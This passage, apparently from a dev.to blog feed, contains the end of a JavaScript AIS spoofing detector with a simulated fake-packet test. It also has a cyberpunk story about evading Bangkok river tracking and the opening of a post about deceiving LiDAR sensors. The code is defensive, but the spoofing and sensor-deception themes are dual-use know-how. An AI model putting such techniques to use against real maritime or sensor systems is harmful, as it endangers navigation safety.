            &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;abs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;rssi&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;prev&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;rssi&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;distanceKm&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mf"&gt;0.1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nx"&gt;anomalyDetected&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="nx"&gt;reasons&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`RF_SIGNAL_POWER_INCONSISTENCY`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;anomalyDetected&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="c1"&gt;// 正常トラッキング更新&lt;/span&gt;
            &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;vesselDatabase&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;mmsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;lat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;lon&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;speedKnots&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;lastSeen&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;nowSec&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;rssi&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;mmsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;VALID_TRACK&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;valid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;calculatedSpeedKnots&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nx"&gt;mmsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;SPOOFING_ALERT&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="na"&gt;valid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="na"&gt;reasons&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;reasons&lt;/span&gt;
            &lt;span class="p"&gt;};&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="nf"&gt;calculateDistanceKm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;lat1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;lon1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;lat2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;lon2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;R&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;6371&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// 地球半径 (km)&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;dLat&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;lat2&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;lat1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;PI&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;180&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;dLon&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;lon2&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;lon1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;PI&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;180&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dLat&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dLat&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
                  &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;lat1&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;PI&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;180&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;lat2&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;PI&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;180&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
                  &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dLon&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dLon&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;R&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;atan2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sqrt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sqrt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// --- 実機シミュレーション実行 ---&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;runSimulation&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;[Defender] AIS Packet Security Guardian Initializing...&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;defender&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;AISPacketDefender&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;maxSpeed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;30.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;maxAccel&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;1.0&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;t0&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;floor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// 1. 正常な砂運搬船の第1報&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;r1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;defender&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;auditReport&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
        &lt;span class="na"&gt;mmsi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;567001420&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;lat&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;13.7680&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;lon&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;100.4980&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;speedKnots&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;6.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;t0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;rssi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;75&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`[Report 1] MMSI: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mmsi&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; -&amp;gt; Status: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// 2. 10秒後：正常な航行&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;r2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;defender&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;auditReport&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
        &lt;span class="na"&gt;mmsi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;567001420&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;lat&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;13.7678&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;lon&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;100.4981&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;speedKnots&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;6.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;t0&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;rssi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;76&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`[Report 2] MMSI: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mmsi&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; -&amp;gt; Status: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; (Speed: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;calculatedSpeedKnots&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nf"&gt;toFixed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt; kts)`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// 3. 偽装攻撃：突如3km下流にワープして出現した偽装パケット（SDRインジェクション）&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;r3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;defender&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;auditReport&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
        &lt;span class="na"&gt;mmsi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;567001420&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;lat&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;13.7400&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;lon&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;100.5050&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;speedKnots&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;55.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;t0&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;rssi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt; &lt;span class="c1"&gt;// なぜか至近距離からの強電波&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`[Report 3] MMSI: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mmsi&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; -&amp;gt; Status: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;valid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;` [ALERT] Reasons: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;reasons&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt; | &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nf"&gt;runSimulation&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;AISPacketDefender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. Into the Thonburi Labyrinth
&lt;/h2&gt;

&lt;p&gt;01:20. We left the main channel and slid into the quiet Bangkok Noi canal. Stilt houses, fireflies, no smart-city mesh. Old Bangkok’s bloodstream.&lt;/p&gt;

&lt;p&gt;“Darling, we’re clean.”&lt;br&gt;&lt;br&gt;
I unplugged the cable and gave the cyber-arm a lazy spin; the coolant vent hissed.&lt;/p&gt;

&lt;p&gt;“They trusted the packets more than the river in front of their own boats.”&lt;br&gt;&lt;br&gt;
Darling lit a cigarette, purple smoke curling away on the night breeze.&lt;/p&gt;

&lt;p&gt;“Centralized systems always try to reduce the world to standardized packets. The real world is what happens outside the feed.”&lt;/p&gt;

&lt;p&gt;I trailed titanium fingers through the black water.&lt;br&gt;&lt;br&gt;
Around the next bend waited the safe-house—an old teak temple ruin on stilts.&lt;/p&gt;

&lt;p&gt;“Next phase: we use the data we just lifted to dig the master key out of the beast’s core.”&lt;/p&gt;

&lt;p&gt;I smiled at the moon’s reflection.&lt;br&gt;&lt;br&gt;
We don’t stop.&lt;/p&gt;




&lt;p&gt;🔗 &lt;strong&gt;Read the previous drop:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
『豪雨のバンコク路地裏、追跡センサーを欺く「ToF光学パルス遅延」：3D点群ノイズ生成とAI自己防衛仕様書』｜Sofi_Log #075&lt;br&gt;&lt;br&gt;
👉 &lt;a href="https://note.com/legal_rat2977/n/n9dc828d84ba3" rel="noopener noreferrer"&gt;https://note.com/legal_rat2977/n/n9dc828d84ba3&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;【Disclaimer】&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The code, protocol breakdowns, and configurations in this log are published for defensive research and education only. They are not an invitation to interfere with real maritime traffic.&lt;/p&gt;

&lt;p&gt;🎁 &lt;strong&gt;Full open-source drop&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;code&gt;AISPacketDefender.js&lt;/code&gt; is released in its entirety for your own engineering work.&lt;/p&gt;




&lt;h2&gt;
  
  
  📬 Sofi's Mailbox #076
&lt;/h2&gt;

&lt;p&gt;So, darlings—how did the Chao Phraya ghost-fleet run feel?&lt;br&gt;&lt;br&gt;
Did the kinematic-audit logic click, or do you want the SOTDMA timing layer next? Drop your questions and war stories in the comments. Sofi and darling are already listening.&lt;/p&gt;




&lt;h3&gt;
  
  
  Disclaimer
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;This article is for educational and entertainment purposes only. It does NOT constitute financial, legal, or tax advice. The regulatory landscape of Web3, smart contracts, and AI agent autonomous systems is highly volatile and complex. Always perform your own research (DYOR) and consult with certified professionals before executing any strategies described herein.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>nomad</category>
      <category>web3</category>
      <category>security</category>
      <category>solana</category>
    </item>
    <item>
      <title>『豪雨のバンコク路地裏、追跡センサーを欺く「ToF光学パルス遅延」：3D点群ノイズ生成とAI自己防衛仕様書』 Sofi_Log #075【1話完結】</title>
      <dc:creator>sofi works</dc:creator>
      <pubDate>Fri, 02 Oct 2026 15:28:53 +0000</pubDate>
      <link>https://dev.to/sofi_works_2a97535d1a93dc/hao-yu-nobankokulu-di-li-zhui-ji-sensawoqi-kutofguang-xue-parusuchi-yan-3ddian-qun-noizusheng-cheng-toaizi-ji-fang-wei-shi-yang-shu-sofilog-0751hua-wan-jie--58go</link>
      <guid>https://dev.to/sofi_works_2a97535d1a93dc/hao-yu-nobankokulu-di-li-zhui-ji-sensawoqi-kutofguang-xue-parusuchi-yan-3ddian-qun-noizusheng-cheng-toaizi-ji-fang-wei-shi-yang-shu-sofilog-0751hua-wan-jie--58go</guid>
      <description>&lt;h1&gt;
  
  
  'Bangkok Back-Alley Downpour: Deceiving Tracking Sensors with "ToF Optical Pulse Delay" – 3D Point Cloud Noise Generation and AI Self-Defense Spec Sheet' | Sofi_Log #075 [Complete One-Shot]
&lt;/h1&gt;




&lt;p&gt;Autonomous vehicles, logistics bots, and street-level high-end surveillance cams all lean on &lt;strong&gt;ToF (Time-of-Flight) LiDAR sensors&lt;/strong&gt; to map space. They fire infrared lasers and clock the nanosecond round-trip to render the world as millimeter-accurate 3D point clouds.  &lt;/p&gt;

&lt;p&gt;“Physics-based, so impossible to spoof digitally”—that’s what the legacy-system engineers keep telling themselves. But what happens when you reverse-engineer the receiver’s sampling window down to the millisecond?&lt;/p&gt;

